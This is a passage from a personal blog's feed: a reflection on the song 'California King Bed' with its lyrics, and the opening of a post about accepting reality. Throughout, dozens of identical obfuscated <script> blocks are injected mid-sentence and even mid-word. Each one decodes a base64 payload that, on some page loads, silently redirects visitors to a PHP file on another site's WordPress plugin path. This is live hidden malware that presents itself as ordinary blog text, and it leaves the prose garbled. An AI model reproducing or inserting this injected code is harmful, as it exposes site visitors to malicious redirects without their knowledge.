if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and self promise made by the perpetrator to prevent the other person who is loved deeply from leaving at all cost(s). The previous hit by her which is "California King Bed", talks about the heart of a person not being there even though they are literally sleeping on the same bed <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and always within close proximity from one another. The feeling felt deeply from the song was that the "intimacy" between two people is not really intimate as the heart of one person is no longer there. One person felt lost, confused, heartbroken, distanced <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and being given the cold shoulder. In my view, the other person may be sustaining the relationship for the sake of being together because he or she is afraid of being lonely. It may also mean that that person feels the need to "possess" someone but not necessarily because he or she love him or her deeply <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and wants to live together. In any case, i have posted the lyrics <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and music video below. Enjoy.    </p>
<p>"California King Bed"</p>
<p>Chest to chest<br />
Nose to nose<br />
Palm to palm<br />
We were always just that close<br />
Wrist to wrist<br />
Toe to toe<br />
Lips that felt just like the inside of a rose<br />
So, how come when I reach out my finger<br />
It feels like more than distance between us</p>
<p>In this California king bed<br />
We're ten thous<script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and miles apart<br />
I've been California wishing on these stars<br />
For your heart for me<br />
My California king</p>
<p>Eye to eye<br />
Cheek to cheek<br />
Side by side<br />
You were sleeping next to me<br />
Arm in arm<br />
Dusk to dawn<br />
With the curtains drawn<br />
And a little last night on these sheets<br />
So, how come when I reach out my fingers<br />
It seems like more than distance between us</p>
<p>In this California king bed</p>
<p>We're ten thous<script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and miles apart<br />
I've been California wishing on these stars<br />
For your heart for me<br />
My California king</p>
<p>Just when I felt like giving up on us<br />
You turned around <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and gave me one last touch<br />
That made everything feel better<br />
And even then my eyes got wetter<br />
So confused wanna ask you if you love me<br />
But I don't wanna seem so weak<br />
Maybe I've been California dreaming</p>
<p>Yeah yeah yeah</p>
<p>In this California king bed<br />
We're ten thous<script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and miles apart<br />
I've been California wishing on these stars<br />
For your heart for me<br />
My California king<br />
My California king</p>
<p>In this California king bed<br />
We're ten thous<script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and miles apart<br />
I've been California wishing on these stars<br />
For your heart for me<br />
My California king</p>
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		<title>How Close Are You Really With Yourself And The People You Really Love?</title>
		<link>http://www.benakm.com/psychology/how-close-are-you-really-with-yourself-and-the-people-you-really-love/</link>
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		<pubDate>Sat, 10 Dec 2011 10:02:27 +0000</pubDate>
		<dc:creator><![CDATA[Ben Ang]]></dc:creator>
				<category><![CDATA[Psychology]]></category>
		<category><![CDATA[Dating Yourself]]></category>
		<category><![CDATA[Dealing With The Pain From The Truth]]></category>
		<category><![CDATA[Facing Reality]]></category>
		<category><![CDATA[Getting In Touch With Yourself]]></category>
		<category><![CDATA[Make A Date With Yourself]]></category>
		<category><![CDATA[Running Away From Reality]]></category>

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		<description><![CDATA[Everyone wishes for things to go the way they have planned or intended. However, reality is usually not like that and things never seem to go the way as we planned or hoped for. In fact, for many people, it actually turns out to be the exact opposite. The harshness of reality can be hard [&#8230;]]]></description>
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<p>Everyone wishes for things to go the way they have planned or intended. However, reality is usually not like that <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and things never seem to go the way as we planned or hoped for. In fact, for many people, it actually turns out to be the exact opposite. The harshness of reality can be hard to accept but are we going to allow ourselves to lose ourselves <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and sink into depression just because things do not work out the way we want them to?</p>
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<p>There are times that I think, if things were smooth sailing, people would almost surely take it for granted <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and not appreciate the learning process nor grow from the life experiences. It is human nature to want to enjoy the fruits rather than having to go through the agony <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and pain from the learning process. So when things do not happen the way they prefer, the seed of doubt is cast <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and they begin to wonder about their self worth. They stumble <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and wallow in self pity. In extreme cases, they fall into a state of depression. They question, they curse at their misfortune. The resentment <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else 